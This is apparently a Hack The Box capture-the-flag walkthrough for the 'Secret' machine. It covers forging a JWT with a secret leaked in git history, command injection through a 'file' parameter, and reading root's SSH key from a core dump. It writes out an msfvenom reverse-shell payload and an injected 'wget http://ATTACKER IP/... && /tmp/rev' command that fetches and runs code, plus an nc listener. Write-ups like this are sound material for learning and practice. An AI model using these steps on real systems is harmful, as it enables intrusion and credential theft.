6 minutes
HTB Writeup: Secret
Enumeration
Initial nmap port scan.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
gobuster
The web page on port 80 shows us the documentation for an API running on port 3000. If we navigate to the home page and scroll to the bottom there is an area where you can download the source code.
Lets begin by enumerating the API.
API Enumeration
- Register a user
POST /api/user/register HTTP/1.1
Host: 10.129.253.55:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 224
{
"name": "0xbruno",
"email": "bruno@dasith.works",
"password": "0xbruno0xbruno"
}
- Login as the user
POST /api/user/login HTTP/1.1
Host: 10.129.253.55:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 204
{
"email": "bruno@dasith.works",
"password": "0xbruno0xbruno"
}
This request will return a JWT which will be needed for subsequent requests as an auth-token header.
- Test token on GET /api/priv which returns that we do not have access.
GET /api/priv HTTP/1.1
Host: 10.129.253.55:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjM2NTY3MDg1fQ.I7X7dWltRdW3-51MLQGgEsBbjn0AqrIskYn6IHU7ztw
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Without admin access there is not much we can do so lets review the source code.
Source Code Review
You can download the source code at /download/files.zip
Candidate Points:
- local-web/routes/private.js the route for /priv is checking that the name field in the JWT is == ’theadmin'
- .env file we can see that the
TOKEN_SECRET
is equal to “secret” which is most likely just a placeholder.
In order to successfully modify the JWT token we will need to know the secret that the token was encrypted with. Since we have access to the source code we can view the git log
and see if the secret was commited to source control at some point.
git log
:
View the changes on the first commit
git diff 55fe756a29268f9b4e786ae468952ca4a8df1bd8
:
BOOM!
Now if we have a valid JWT we can re-sign(?), not sure the proper terminology here, with the secret and change the name to “theadmin”.
Command Injection Vulnerability
We can see that the GET parameter file
is being passed to exec()
which means that there is a command injection vulnerability here.
Exploitation
Resend the login request to get a fresh JWT.
Copy the JWT and paste it into jwt.io. Copy the secret that was found in the git log into the verify signature area and modify the name to “theadmin” so that we can get access to the private routes.
If you do not see “Signature Verified” then something is wrong. Try to re-copy and paste the secret into the field.
Copy the forged JWT and add it as an “auth-token” request header.
You can test if you have admin access on /api/priv
BOOM! Admin Access!
Now lets test the command injection vulnerability found in code review earlier by pinging our attacker machine.
sweet sweet RCE
Getting a reverse shell
- Check if the OS is 64 bit or 32 bit with
uname -a
We see that it is 64 bit.
- Use msfvenom to create a payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.194 LPORT=3000 -f elf -o reverse.elf
- Serve the payload with HTTP server
python3 -m http.server 80
- Start a NC listener
nc -lvnp 3000
- Execute command in GET request to fetch and execute the payload
file=bogus;wget http://ATTACKER IP/reverse.elf -O /tmp/rev && chmod 777 /tmp/rev && /tmp/rev
You should get a connection back to your listener running as user dasith.
Lets set up an SSH key in case the reverse shell dies.
On the target machine:
- Generate SSH keys
ssh-keygen -t rsa
Note: Hit enter for every prompt
- Add public key to authorized_keys
cat ./.ssh/id_rsa.pub >> authorized_keys
Now cat out ./.ssh/id_rsa (Private key) & copy it to the attacker machine.
On the attacker machine:
- Change the file permissions on the private key so that it is usable.
chmod 400 id_rsa
- SSH to the target
ssh -i id_rsa dasith@<IP>
Privilege Escalation
You can see an unusual SUID binary /opt/count
The binary has SUID bit set by root and thus can read any file/directory on the target system.
There is also code.c file with C source code of what appears to be the count binary.
Compiling the binary and comparing the sha1sum hashes we can see that the count binary is in fact the code.c source code.
Source Code Review
Viewing the source code you will find that coredump generation is enabled. This means that whatever is in memory will be dumped to a coredump file which we will be able to read. To trigger the core dump we will have to crash the program.
Reading this article we can see that some Linux signals will cause a core dump. https://embeddedbits.org/linux-core-dump-analysis/
We will use SIGILL
SIGILL is number 4
Cat’ing out /proc/sys/kernel/core_pattern
shows us how the coredump will be handled
After some googling you will find that apport saves kernel crash dumps to /var/crash
. Note I said KERNEL CRASH DUMPS not core dumps which are different. Which means that the kernel crash dump will have to be unpacked to view the actual core dump.
Triggering the crash
Now that we have all the information available lets get to the actual exploitation. You will need two shells for this. I opted for setting up SSH keys and using my reverse shell from earlier.
- Run
/opt/count
and enter the target file which is root’s SSH private key. Don’t enter anything else. The idea is since the private SSH key is in memory we can trigger a core dump and then read the contents.
dasith@secret:/tmp$ /opt/count
Enter source file/directory name: /root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]:
- In the second shell. Run
ps aux
and find the PID for count. Then send it the SIGILL signal withkill -4 <PID>
.
dasith@secret:/tmp$ ps aux | grep count
root 829 0.0 0.1 235664 7388 ? Ssl Nov14 0:00 /usr/lib/accountsservice/accounts-daemon
dasith 66002 0.0 0.0 2488 580 pts/1 S+ 00:47 0:00 /opt/count
dasith 66004 0.0 0.0 6632 732 pts/0 S+ 00:48 0:00 grep --color=auto count
dasith@secret:/tmp$ kill -4 66002
dasith@secret:/tmp$
- You will find a new kernel crash dump file in
/var/crash
dasith@secret:/var/crash$ ls
_opt_count.0.crash _opt_count.1000.crash _opt_countzz.0.crash
dasith@secret:/var/crash$
- Unpack the kernel crash dump to view the coredump.
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/unpacked
dasith@secret:/var/crash$
- You will find the CoreDump file in
/tmp/unpacked
dasith@secret:/tmp$ ls unpacked/
Architecture Date ExecutablePath _LogindSession ProcCmdline ProcEnviron ProcStatus Uname
CoreDump DistroRelease ExecutableTimestamp ProblemType ProcCwd ProcMaps Signal UserGroups
dasith@secret:/tmp$
-
Run
strings /tmp/unpacked/CoreDump
to view root’s ssh private key -
Copy it over to your attacker machine,
chmod 400 id_rsa
, and ssh to the targetssh -i id_rsa root@secret